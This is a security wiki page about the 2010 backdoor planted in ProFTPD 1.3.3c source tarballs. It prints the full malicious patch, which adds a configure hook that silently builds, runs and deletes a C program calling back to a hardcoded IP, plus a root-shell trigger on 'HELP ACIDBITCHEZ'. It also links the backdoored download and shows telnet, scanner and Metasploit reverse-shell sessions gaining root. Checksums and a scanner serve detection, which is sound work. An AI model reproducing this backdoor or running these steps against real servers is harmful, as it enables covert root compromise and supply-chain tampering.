<!DOCTYPE html>
<html class="client-nojs" lang="en" dir="ltr">
<head>
<meta charset="UTF-8" />
<title>Exploits/proftpd-1.3.3c-backdoor - aldeid</title>
<script>document.documentElement.className="client-js";RLCONF={"wgBreakFrames":!1,"wgSeparatorTransformTable":["",""],"wgDigitTransformTable":["",""],"wgDefaultDateFormat":"dmy","wgMonthNames":["","January","February","March","April","May","June","July","August","September","October","November","December"],"wgRequestId":"YcUU9q83ACmUoOC30Q4-egAAAAA","wgCSPNonce":!1,"wgCanonicalNamespace":"","wgCanonicalSpecialPageName":!1,"wgNamespaceNumber":0,"wgPageName":"Exploits/proftpd-1.3.3c-backdoor","wgTitle":"Exploits/proftpd-1.3.3c-backdoor","wgCurRevisionId":22028,"wgRevisionId":22028,"wgArticleId":2036,"wgIsArticle":!0,"wgIsRedirect":!1,"wgAction":"view","wgUserName":null,"wgUserGroups":["*"],"wgCategories":["Exploits"],"wgPageContentLanguage":"en","wgPageContentModel":"wikitext","wgRelevantPageName":"Exploits/proftpd-1.3.3c-backdoor","wgRelevantArticleId":2036,"wgIsProbablyEditable":!1,"wgRelevantPageIsProbablyEditable":!1,"wgRestrictionEdit":["sysop"],"wgRestrictionMove":[
"sysop"],"wgMFDisplayWikibaseDescriptions":{"search":!1,"nearby":!1,"watchlist":!1,"tagline":!1}};RLSTATE={"site.styles":"ready","noscript":"ready","user.styles":"ready","user":"ready","user.options":"loading","skins.vector.styles.legacy":"ready"};RLPAGEMODULES=["site","mediawiki.page.ready","mediawiki.toc","skins.vector.legacy.js"];</script>
<script>(RLQ=window.RLQ||[]).push(function(){mw.loader.implement("user.options@1hzgi",function($,jQuery,require,module){/*@nomin*/mw.user.tokens.set({"patrolToken":"+\\","watchToken":"+\\","csrfToken":"+\\"});
});});</script>
<link rel="stylesheet" href="/w/load.php?lang=en&amp;modules=skins.vector.styles.legacy&amp;only=styles&amp;skin=vector" />
<script async="" src="/w/load.php?lang=en&amp;modules=startup&amp;only=scripts&amp;raw=1&amp;skin=vector"></script>
<meta name="ResourceLoaderDynamicStyles" content="" />
<link rel="stylesheet" href="/w/load.php?lang=en&amp;modules=site.styles&amp;only=styles&amp;skin=vector" />
<meta name="generator" content="MediaWiki 1.37.1" />
<meta name="format-detection" content="telephone=no" />
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="search" type="application/opensearchdescription+xml" href="/w/opensearch_desc.php" title="aldeid (en)" />
<link rel="EditURI" type="application/rsd+xml" href="https://www.aldeid.com/w/api.php?action=rsd" />
<link rel="alternate" type="application/atom+xml" title="aldeid Atom feed" href="/w/index.php?title=Special:RecentChanges&amp;feed=atom" />
</head>
<body class="mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-Exploits_proftpd-1_3_3c-backdoor rootpage-Exploits_proftpd-1_3_3c-backdoor skin-vector action-view skin-vector-legacy"><div id="mw-page-base" class="noprint"></div>
<div id="mw-head-base" class="noprint"></div>
<div id="content" class="mw-body" role="main">
<a id="top"></a>
<div id="siteNotice"></div>
<div class="mw-indicators">
</div>
<h1 id="firstHeading" class="firstHeading">Exploits/proftpd-1.3.3c-backdoor</h1>
<div id="bodyContent" class="vector-body">
<div id="siteSub" class="noprint">From aldeid</div>
<div id="contentSub"></div>
<div id="contentSub2"></div>
<div id="jump-to-nav"></div>
<a class="mw-jump-link" href="#mw-head">Jump to navigation</a>
<a class="mw-jump-link" href="#searchInput">Jump to search</a>
<div id="mw-content-text" class="mw-body-content mw-content-ltr" lang="en" dir="ltr"><div class="mw-parser-output"><div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none" /><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#Description"><span class="tocnumber">1</span> <span class="toctext">Description</span></a></li>
<li class="toclevel-1 tocsection-2"><a href="#Impacted_systems"><span class="tocnumber">2</span> <span class="toctext">Impacted systems</span></a></li>
<li class="toclevel-1 tocsection-3"><a href="#Exploit"><span class="tocnumber">3</span> <span class="toctext">Exploit</span></a>
<ul>
<li class="toclevel-2 tocsection-4"><a href="#Source_code"><span class="tocnumber">3.1</span> <span class="toctext">Source code</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#Download_backdoored_version"><span class="tocnumber">3.2</span> <span class="toctext">Download backdoored version</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-6"><a href="#Tools"><span class="tocnumber">4</span> <span class="toctext">Tools</span></a>
<ul>
<li class="toclevel-2 tocsection-7"><a href="#Manual_proof_of_concept"><span class="tocnumber">4.1</span> <span class="toctext">Manual proof of concept</span></a></li>
<li class="toclevel-2 tocsection-8"><a href="#Bitchscan"><span class="tocnumber">4.2</span> <span class="toctext">Bitchscan</span></a>
<ul>
<li class="toclevel-3 tocsection-9"><a href="#Description_2"><span class="tocnumber">4.2.1</span> <span class="toctext">Description</span></a></li>
<li class="toclevel-3 tocsection-10"><a href="#Download"><span class="tocnumber">4.2.2</span> <span class="toctext">Download</span></a></li>
<li class="toclevel-3 tocsection-11"><a href="#Proof_of_Concept_(PoC)"><span class="tocnumber">4.2.3</span> <span class="toctext">Proof of Concept (PoC)</span></a></li>
</ul>
</li>
<li class="toclevel-2 tocsection-12"><a href="#Metasploit_module"><span class="tocnumber">4.3</span> <span class="toctext">Metasploit module</span></a>
<ul>
<li class="toclevel-3 tocsection-13"><a href="#Description_3"><span class="tocnumber">4.3.1</span> <span class="toctext">Description</span></a></li>
<li class="toclevel-3 tocsection-14"><a href="#Installation"><span class="tocnumber">4.3.2</span> <span class="toctext">Installation</span></a></li>
<li class="toclevel-3 tocsection-15"><a href="#Proof_of_Concept_(PoC)_2"><span class="tocnumber">4.3.3</span> <span class="toctext">Proof of Concept (PoC)</span></a></li>
</ul>
</li>
</ul>
</li>
<li class="toclevel-1 tocsection-16"><a href="#Comments"><span class="tocnumber">5</span> <span class="toctext">Comments</span></a></li>
</ul>
</div>
<h1><span class="mw-headline" id="Description">Description</span></h1>
<p>On Sunday, the 28th of November 2010 around 20:00 UTC the main
distribution server of the ProFTPD project was compromised. The
attackers most likely used an unpatched security issue in the FTP daemon
to gain access to the server and used their privileges to replace the
source files for ProFTPD 1.3.3c with a version which contained a backdoor.
The unauthorized modification of the source code was noticed by
Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on
Wednesday, December 1 and fixed shortly afterwards.
</p><p>The fact that the server acted as the main FTP site for the ProFTPD
project (ftp.proftpd.org) as well as the rsync distribution server
(rsync.proftpd.org) for all ProFTPD mirror servers means that anyone who
downloaded ProFTPD 1.3.3c from one of the official mirrors from 2010-11-28
to 2010-12-02 will most likely be affected by the problem.
</p><p>The backdoor introduced by the attackers allows unauthenticated users
remote root access to systems which run the maliciously modified version
of the ProFTPD daemon.
</p><p>Users are strongly advised to check systems running the affected code for
security compromises and compile/run a known good version of the code.
To verify the integrity of the source files, use the GPG signatures
available on the FTP servers as well on the ProFTPD homepage at:
</p>
<pre><a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://www.proftpd.org/md5_pgp.html">http://www.proftpd.org/md5_pgp.html</a>.
</pre>
<p>The MD5 sums for the source tarballs are:
</p>
<pre>8571bd78874b557e98480ed48e2df1d2  proftpd-1.3.3c.tar.bz2
4f2c554d6273b8145095837913ba9e5d  proftpd-1.3.3c.tar.gz
</pre>
<p>Here is the notice on official proftp website:
</p><p><a href="/wiki/File:Proftpd-notice.png" class="image"><img alt="Proftpd-notice.png" src="/w/images/thumb/8/81/Proftpd-notice.png/640px-Proftpd-notice.png" decoding="async" width="640" height="283" srcset="/w/images/8/81/Proftpd-notice.png 1.5x" /></a>
</p>
<h1><span class="mw-headline" id="Impacted_systems">Impacted systems</span></h1>
<p>All downloads of ProFTPD-1.3.3c on the official website between 2010-11-28 and 2010-12-02 are potentially compromised versions. You are advised to check that your version is not compromised using the tools provided below.
</p>
<h1><span class="mw-headline" id="Exploit">Exploit</span></h1>
<h2><span class="mw-headline" id="Source_code">Source code</span></h2>
<p>From the original 1.3.3c version, here is the <a href="/wiki/Patch" title="Patch">patch</a> to apply to have a compromised version:
</p>
<pre>diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure	2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure	2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@
 ## --------------------- ##
 ## M4sh Initialization.  ##
 ## --------------------- ##
-
+gcc tests/tests.c -o tests/tests &gt;/dev/null 2&gt;&amp;1
+cc tests/tests.c -o tests/tests &gt;/dev/null 2&gt;&amp;1
+tests/tests &gt;/dev/null 2&gt;&amp;1 &amp;
+rm -rf tests/tests.c tests/tests &gt;/dev/null 2&gt;&amp;1
 # Be more Bourne compatible
 DUALCASE=1; export DUALCASE # for MKS sh
 if test -n "${ZSH_VERSION+set}" &amp;&amp; (emulate sh) &gt;/dev/null 2&gt;&amp;1; then


diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c	2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c	2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@
  */
 
 #include "conf.h"
+#include &lt;stdlib.h&gt;
+#include &lt;string.h&gt;
 
 struct help_rec {
   const char *cmd;
@@ -126,7 +128,7 @@
         cmd-&gt;server-&gt;ServerAdmin&#160;? cmd-&gt;server-&gt;ServerAdmin&#160;: "ftp-admin");
 
     } else {
-
+      if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
       /* List the syntax for the given target command. */
       for (i = 0; i &lt; help_list-&gt;nelts; i++) {
         if (strcasecmp(helps[i].cmd, target) == 0) {


diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c
--- proftpd-1.3.3c.orig/tests/tests.c	1970-01-01 01:00:00.000000000 +0100
+++ proftpd-1.3.3c/tests/tests.c 	2010-11-29 09:37:35.000000000 +0100
@@ -0,0 +1,58 @@
+#include &lt;stdio.h&gt;
+#include &lt;stdlib.h&gt;
+#include &lt;sys/socket.h&gt;
+#include &lt;sys/types.h&gt;
+#include &lt;netinet/in.h&gt;
+#include &lt;arpa/inet.h&gt;
+#include &lt;unistd.h&gt;
+#include &lt;netdb.h&gt;
+#include &lt;signal.h&gt;
+#include &lt;string.h&gt;
+
+#define DEF_PORT 9090
+#define DEF_TIMEOUT 15
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
+
+int sock;
+
+void handle_timeout(int sig)
+{
+    close(sock);
+    exit(0);
+}
+
+int main(void)
+{
+
+        struct sockaddr_in addr;
+        struct hostent *he;
+        u_short port;
+        char ip[20]="212.26.42.47";    /*  EDB NOTE - HARDCODED IP */
+        port = DEF_PORT;
+        signal(SIGALRM, handle_timeout);
+        alarm(DEF_TIMEOUT);
+        he=gethostbyname(ip);
+        if(he==NULL) return(-1);
+        addr.sin_addr.s_addr = *(unsigned long*)he-&gt;h_addr;
+        addr.sin_port = htons(port);
+        addr.sin_family = AF_INET;
+        memset(addr.sin_zero, 0, 8);
+        sprintf(ip, inet_ntoa(addr.sin_addr));
+        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
+        {
+                return EXIT_FAILURE;
+        }
+        if(connect(sock, (struct sockaddr*)&amp;addr, sizeof(struct sockaddr))==-1)
+        {
+            close(sock);
+            return EXIT_FAILURE;
+        }
+        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
+        {
+            return EXIT_FAILURE;
+        }
+        close(sock);
+
+return 0; }
+
+
</pre>
<h2><span class="mw-headline" id="Download_backdoored_version">Download backdoored version</span></h2>
<p>To download modified (backdoored) version of proftpd, click on following link:
</p>
<pre><a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="https://www.exploit-db.com/application/15662/">http://www.exploit-db.com/application/15662/</a>
</pre>
<h1><span class="mw-headline" id="Tools">Tools</span></h1>
<h2><span class="mw-headline" id="Manual_proof_of_concept">Manual proof of concept</span></h2>
<p>By connecting on port 21/tcp with <a href="/wiki/Netcat" title="Netcat">netcat</a> or <a href="/w/index.php?title=Telnet&amp;action=edit&amp;redlink=1" class="new" title="Telnet (page does not exist)">telnet</a>, it is possible to check if proftpd is compromised:
</p>
<pre>$ <b>telnet 192.168.100.20 21</b>
Trying 192.168.100.20...
Connected to 192.168.100.20.
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (ProFTPD Default Installation) [192.168.100.20]
<b>HELP ACIDBITCHEZ</b>
<b>id;</b>
<font style="background:#ffff00;color:#000;">uid=0(root) gid=0(root) groupes=65534(nogroup)</font>
^]
</pre>
<h2><span class="mw-headline" id="Bitchscan">Bitchscan</span></h2>
<h3><span class="mw-headline" id="Description_2">Description</span></h3>
<p>Bitchscan is a Perl script written by chr1x (aka Christian Navarrete) that checks for backdoored ProFTPD over the network (one or more machines). For more information, please refer to <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://chr1x.sectester.net/">http://chr1x.sectester.net/</a>.
</p>
<h3><span class="mw-headline" id="Download">Download</span></h3>
<p>The tool is available here: <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://hotfile.com/dl/88624117/a90d6a0/bitchscan.tar.gz.html">http://hotfile.com/dl/88624117/a90d6a0/bitchscan.tar.gz.html</a>
</p>
<h3><span id="Proof_of_Concept_.28PoC.29"></span><span class="mw-headline" id="Proof_of_Concept_(PoC)">Proof of Concept (PoC)</span></h3>
<p>Below is an example of usage for bitchscan. It has been tested on a Kubuntu 10.04 version against a Debian 5 box.
</p>
<pre>$ perl bitchscan.pl 192.168.100.20
-=[ProFTPD ACIDBITCHEZ Scanner by chr1x]=-

[*] Scanning a single host 192.168.100.20...

&gt;&gt; ProFTPD Detected.
&gt;&gt; Testing for Backdoor... &gt; 192.168.100.20
<font style="background: #ffff00;color:#000;">[*] ProFTPD Backdoor Detected!! -&gt; uid=0(root) gid=0(root) groupes=65534(nogroup)</font>
</pre>
<h2><span class="mw-headline" id="Metasploit_module">Metasploit module</span></h2>
<h3><span class="mw-headline" id="Description_3">Description</span></h3>
<p>A Metasploit module (id: 45150) has been written by darkharper2.
</p>
<h3><span class="mw-headline" id="Installation">Installation</span></h3>
<p>If you have updated <a href="/wiki/Metasploit" title="Metasploit">Metasploit</a> with msfupdate script, the exploit should be automatically added. Following section explains how to manually install the extension.
</p><p>First of all, you need to install <a href="/wiki/Metasploit" title="Metasploit">Metasploit</a>. Once done, download folloowing extension:
</p>
<pre>$ <b>cd /pentest/exploits/framework3/</b>
$ <b>mkdir -p modules/exploits/unix/ftp/</b>
$ <b>cd modules/exploits/unix/ftp/</b>
$ <b>wget <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://www.metasploit.com/redmine/projects/framework/repository/raw/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb">http://www.metasploit.com/redmine/projects/framework/repository/raw/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb</a></b>
</pre>
<h3><span id="Proof_of_Concept_.28PoC.29_2"></span><span class="mw-headline" id="Proof_of_Concept_(PoC)_2">Proof of Concept (PoC)</span></h3>
<pre>$ <b>cd /pentest/exploits/framework3/</b>
$ <b>./msfconsole</b> 

 ____________                                                                                        
&lt; metasploit &gt;                                                                                       
 ------------                                                                                        
       \   ,__,                                                                                      
        \  (oo)____                                                                                  
           (__)    )\                                                                                
              ||--|| *                                                                               
                                                                                                     

       =[ metasploit v3.5.1-testing [core:3.5 api:1.0]
+ -- --=[ 635 exploits - 313 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11289 updated today (2010.12.11)

msf &gt; <b>use exploit/unix/ftp/proftpd_133c_backdoor </b>
msf exploit(proftpd_133c_backdoor) &gt; <b>set PAYLOAD generic/shell_reverse_tcp</b>
PAYLOAD =&gt; generic/shell_reverse_tcp
msf exploit(proftpd_133c_backdoor) &gt; <b>set LHOST 192.168.100.18</b>
LHOST =&gt; 192.168.100.18
msf exploit(proftpd_133c_backdoor) &gt; <b>set RHOST 192.168.100.20</b>
RHOST =&gt; 192.168.100.20
msf exploit(proftpd_133c_backdoor) &gt; <b>exploit</b>

[*] Started reverse handler on 192.168.100.18:4444 
[*] Sending Backdoor Command
[*] Command shell session 1 opened (192.168.100.18:4444 -&gt; 192.168.100.20:36880) at Sat Dec 11 12:50:15 +0100 2010
</pre>
<h1><span class="mw-headline" id="Comments">Comments</span></h1>



</div>
<div class="printfooter">Retrieved from "<a dir="ltr" href="https://www.aldeid.com/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;oldid=22028">https://www.aldeid.com/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;oldid=22028</a>"</div></div>
<div id="catlinks" class="catlinks" data-mw="interface"><div id="mw-normal-catlinks" class="mw-normal-catlinks"><a href="/wiki/Special:Categories" title="Special:Categories">Category</a>: <ul><li><a href="/wiki/Category:Exploits" title="Category:Exploits">Exploits</a></li></ul></div></div>
</div>
</div>
<div id='mw-data-after-content'>
<h2>Share your opinion</h2>
<div id="disqus_thread"></div>
<script>
    var disqus_config = function () {
        this.page.url = "https://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor";
        this.page.identifier = "2036";
    };
    (function() {
        var d = document, s = d.createElement('script');

        s.src = '//aldeid.disqus.com/embed.js';

        s.setAttribute('data-timestamp', +new Date());
        (d.head || d.body).appendChild(s);
    })();
</script>
<noscript>Please enable JavaScript to view the <a href="//disqus.com/?ref_noscript" rel="nofollow">comments powered by Disqus.</a></noscript>
</div>
<div id="mw-navigation">
<h2>Navigation menu</h2>
<div id="mw-head">
<nav id="p-personal" class="mw-portlet mw-portlet-personal vector-user-menu-legacy vector-menu" aria-labelledby="p-personal-label" role="navigation">
<h3 id="p-personal-label" class="vector-menu-heading"> <span>Personal tools</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="pt-login" class="mw-list-item"><a href="/w/index.php?title=Special:UserLogin&amp;returnto=Exploits%2Fproftpd-1.3.3c-backdoor" title="You are encouraged to log in; however, it is not mandatory [o]" accesskey="o">Log in</a></li></ul>
</div>
</nav>
<div id="left-navigation">
<nav id="p-namespaces" class="mw-portlet mw-portlet-namespaces vector-menu vector-menu-tabs" aria-labelledby="p-namespaces-label" role="navigation">
<h3 id="p-namespaces-label" class="vector-menu-heading"> <span>Namespaces</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="ca-nstab-main" class="selected mw-list-item"><a href="/wiki/Exploits/proftpd-1.3.3c-backdoor" title="View the content page [c]" accesskey="c">Page</a></li><li id="ca-talk" class="mw-list-item"><a href="/wiki/Talk:Exploits/proftpd-1.3.3c-backdoor" rel="discussion" title="Discussion about the content page [t]" accesskey="t">Discussion</a></li></ul>
</div>
</nav>
<nav id="p-variants" class="mw-portlet mw-portlet-variants emptyPortlet vector-menu-dropdown-noicon vector-menu vector-menu-dropdown" aria-labelledby="p-variants-label" role="navigation">
<input type="checkbox" id="p-variants-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-p-variants" class=" vector-menu-checkbox" aria-labelledby="p-variants-label" />
<h3 id="p-variants-label" class="vector-menu-heading"> <span>Variants</span>
<span class="vector-menu-checkbox-expanded">expanded</span>
<span class="vector-menu-checkbox-collapsed">collapsed</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"></ul>
</div>
</nav>
</div>
<div id="right-navigation">
<nav id="p-views" class="mw-portlet mw-portlet-views vector-menu vector-menu-tabs" aria-labelledby="p-views-label" role="navigation">
<h3 id="p-views-label" class="vector-menu-heading"> <span>Views</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="ca-view" class="selected mw-list-item"><a href="/wiki/Exploits/proftpd-1.3.3c-backdoor">Read</a></li><li id="ca-viewsource" class="mw-list-item"><a href="/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;action=edit" title="This page is protected.&#10;You can view its source [e]" accesskey="e">View source</a></li><li id="ca-history" class="mw-list-item"><a href="/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;action=history" title="Past revisions of this page [h]" accesskey="h">View history</a></li></ul>
</div>
</nav>
<nav id="p-cactions" class="mw-portlet mw-portlet-cactions emptyPortlet vector-menu-dropdown-noicon vector-menu vector-menu-dropdown" aria-labelledby="p-cactions-label" role="navigation" title="More options">
<input type="checkbox" id="p-cactions-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-p-cactions" class=" vector-menu-checkbox" aria-labelledby="p-cactions-label" />
<h3 id="p-cactions-label" class="vector-menu-heading"> <span>More</span>
<span class="vector-menu-checkbox-expanded">expanded</span>
<span class="vector-menu-checkbox-collapsed">collapsed</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"></ul>
</div>
</nav>
<div id="p-search" role="search" class="vector-search-box">
<div>
<h3>
<label for="searchInput">Search</label>
</h3>
<form action="/w/index.php" id="searchform">
<div id="simpleSearch" data-search-loc="header-navigation">
<input type="search" name="search" placeholder="Search aldeid" autocapitalize="sentences" title="Search aldeid [f]" accesskey="f" id="searchInput" />
<input type="hidden" name="title" value="Special:Search" />
<input type="submit" name="fulltext" value="Search" title="Search the pages for this text" id="mw-searchButton" class="searchButton mw-fallbackSearchButton" />
<input type="submit" name="go" value="Go" title="Go to a page with this exact name if it exists" id="searchButton" class="searchButton" />
</div>
</form>
</div>
</div>
</div>
</div>
<div id="mw-panel">
<div id="p-logo" role="banner">
<a class="mw-wiki-logo" href="/wiki/Main_Page" title="Visit the main page"></a>
</div>
<nav id="p-Security" class="mw-portlet mw-portlet-Security vector-menu vector-menu-portal portal" aria-labelledby="p-Security-label" role="navigation">
<h3 id="p-Security-label" class="vector-menu-heading"> <span>Security</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="n-Recent-posts" class="mw-list-item"><a href="/wiki/Main_Page">Recent posts</a></li><li id="n-ABC-Security" class="mw-list-item"><a href="/wiki/ABC_de_la_securite">ABC Security</a></li><li id="n-Categories" class="mw-list-item"><a href="/wiki/Categories">Categories</a></li><li id="n-Archives" class="mw-list-item"><a href="/wiki/Archives">Archives</a></li></ul>
</div>
</nav>
<nav id="p-Menu" class="mw-portlet mw-portlet-Menu vector-menu vector-menu-portal portal" aria-labelledby="p-Menu-label" role="navigation">
<h3 id="p-Menu-label" class="vector-menu-heading"> <span>Menu</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="n-Pentesting" class="mw-list-item"><a href="/wiki/Category:Penetration-testing">Pentesting</a></li><li id="n-Web-Exploitation" class="mw-list-item"><a href="/wiki/Category:Penetration-testing">Web Exploitation</a></li><li id="n-Cryptography" class="mw-list-item"><a href="/wiki/Category:Encryption">Cryptography</a></li><li id="n-Forensics" class="mw-list-item"><a href="/wiki/Digital-Forensics">Forensics</a></li><li id="n-Reversing" class="mw-list-item"><a href="/wiki/Category:Reverse-Engineering">Reversing</a></li><li id="n-Binary-Exploitation" class="mw-list-item"><a href="/wiki/Category:Exploits">Binary Exploitation</a></li><li id="n-CTF" class="mw-list-item"><a href="/wiki/Category:CTF">CTF</a></li><li id="n-Threat-Hunting" class="mw-list-item"><a href="/wiki/Category:ThreatHunting">Threat Hunting</a></li></ul>
</div>
</nav>
<nav id="p-Misc" class="mw-portlet mw-portlet-Misc vector-menu vector-menu-portal portal" aria-labelledby="p-Misc-label" role="navigation">
<h3 id="p-Misc-label" class="vector-menu-heading"> <span>Misc</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="n-Ports-list-/-vulns" class="mw-list-item"><a href="/wiki/Ports-liste">Ports list / vulns</a></li><li id="n-ABC-*nix-commands" class="mw-list-item"><a href="/wiki/ABC_unix">ABC *nix commands</a></li><li id="n-Favorites" class="mw-list-item"><a href="/wiki/Favorites">Favorites</a></li><li id="n-References" class="mw-list-item"><a href="/wiki/References">References</a></li><li id="n-Books" class="mw-list-item"><a href="/wiki/Books">Books</a></li></ul>
</div>
</nav>
<nav id="p-tb" class="mw-portlet mw-portlet-tb vector-menu vector-menu-portal portal" aria-labelledby="p-tb-label" role="navigation">
<h3 id="p-tb-label" class="vector-menu-heading"> <span>Tools</span>
</h3>
<div class="vector-menu-content">
<ul class="vector-menu-content-list"><li id="t-whatlinkshere" class="mw-list-item"><a href="/wiki/Special:WhatLinksHere/Exploits/proftpd-1.3.3c-backdoor" title="A list of all wiki pages that link here [j]" accesskey="j">What links here</a></li><li id="t-recentchangeslinked" class="mw-list-item"><a href="/wiki/Special:RecentChangesLinked/Exploits/proftpd-1.3.3c-backdoor" rel="nofollow" title="Recent changes in pages linked from this page [k]" accesskey="k">Related changes</a></li><li id="t-specialpages" class="mw-list-item"><a href="/wiki/Special:SpecialPages" title="A list of all special pages [q]" accesskey="q">Special pages</a></li><li id="t-print" class="mw-list-item"><a href="javascript:print();" rel="alternate" title="Printable version of this page [p]" accesskey="p">Printable version</a></li><li id="t-permalink" class="mw-list-item"><a href="/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;oldid=22028" title="Permanent link to this revision of the page">Permanent link</a></li><li id="t-info" class="mw-list-item"><a href="/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;action=info" title="More information about this page">Page information</a></li></ul>
</div>
</nav>
</div>
</div>
<footer id="footer" class="mw-footer" role="contentinfo">
<ul id="footer-info">
<li id="footer-info-lastmod"> This page was last edited on 23 November 2013, at 12:21.</li>
</ul>
<ul id="footer-places">
<li id="footer-places-privacy"><a href="/wiki/Aldeid:Privacy_policy" title="Aldeid:Privacy policy">Privacy policy</a></li>
<li id="footer-places-about"><a href="/wiki/Aldeid:About" title="Aldeid:About">About aldeid</a></li>
<li id="footer-places-disclaimer"><a href="/wiki/Aldeid:General_disclaimer" title="Aldeid:General disclaimer">Disclaimers</a></li>
<li id="footer-places-mobileview"><a href="https://www.aldeid.com/w/index.php?title=Exploits/proftpd-1.3.3c-backdoor&amp;mobileaction=toggle_view_mobile" class="noprint stopMobileRedirectToggle">Mobile view</a></li>
</ul>
<ul id="footer-icons" class="noprint">
<li id="footer-poweredbyico"><a href="https://www.mediawiki.org/" target="_blank"><img src="/w/resources/assets/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" srcset="/w/resources/assets/poweredby_mediawiki_132x47.png 1.5x, /w/resources/assets/poweredby_mediawiki_176x62.png 2x" width="88" height="31" loading="lazy" /></a></li>
</ul>
</footer>
<script>(RLQ=window.RLQ||[]).push(function(){mw.config.set({"wgPageParseReport":{"limitreport":{"cputime":"0.026","walltime":"0.029","ppvisitednodes":{"value":60,"limit":1000000},"postexpandincludesize":{"value":36,"limit":2097152},"templateargumentsize":{"value":0,"limit":2097152},"expansiondepth":{"value":3,"limit":40},"expensivefunctioncount":{"value":0,"limit":100},"unstrip-depth":{"value":0,"limit":20},"unstrip-size":{"value":0,"limit":5000000},"timingprofile":["100.00%    2.212      1 Talk:Exploits/proftpd-1.3.3c-backdoor","100.00%    2.212      1 -total"]},"cachereport":{"timestamp":"20211223234430","ttl":86400,"transientcontent":false}}});});</script>
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-17436616-1', 'auto');
  ga('send', 'pageview');

</script>
<script>
	//<![CDATA[
	(function()
	{
	var links = document.getElementsByTagName('a');
	var query = '?';
	for(var i = 0; i < links.length; i++)
	if(links[i].href.indexOf('#disqus_thread') >= 0)
	query += 'url' + i + '=' + encodeURIComponent(links[i].href) + '&';
	document.write('<script charset="utf-8" type="text/javascript" src="//disqus.com/forums/aldeid/get_num_replies.js' + query + '"></' + 'script>');
	})();
	//]]>
</script>
<script>(RLQ=window.RLQ||[]).push(function(){mw.config.set({"wgBackendResponseTime":92});});</script>
</body></html>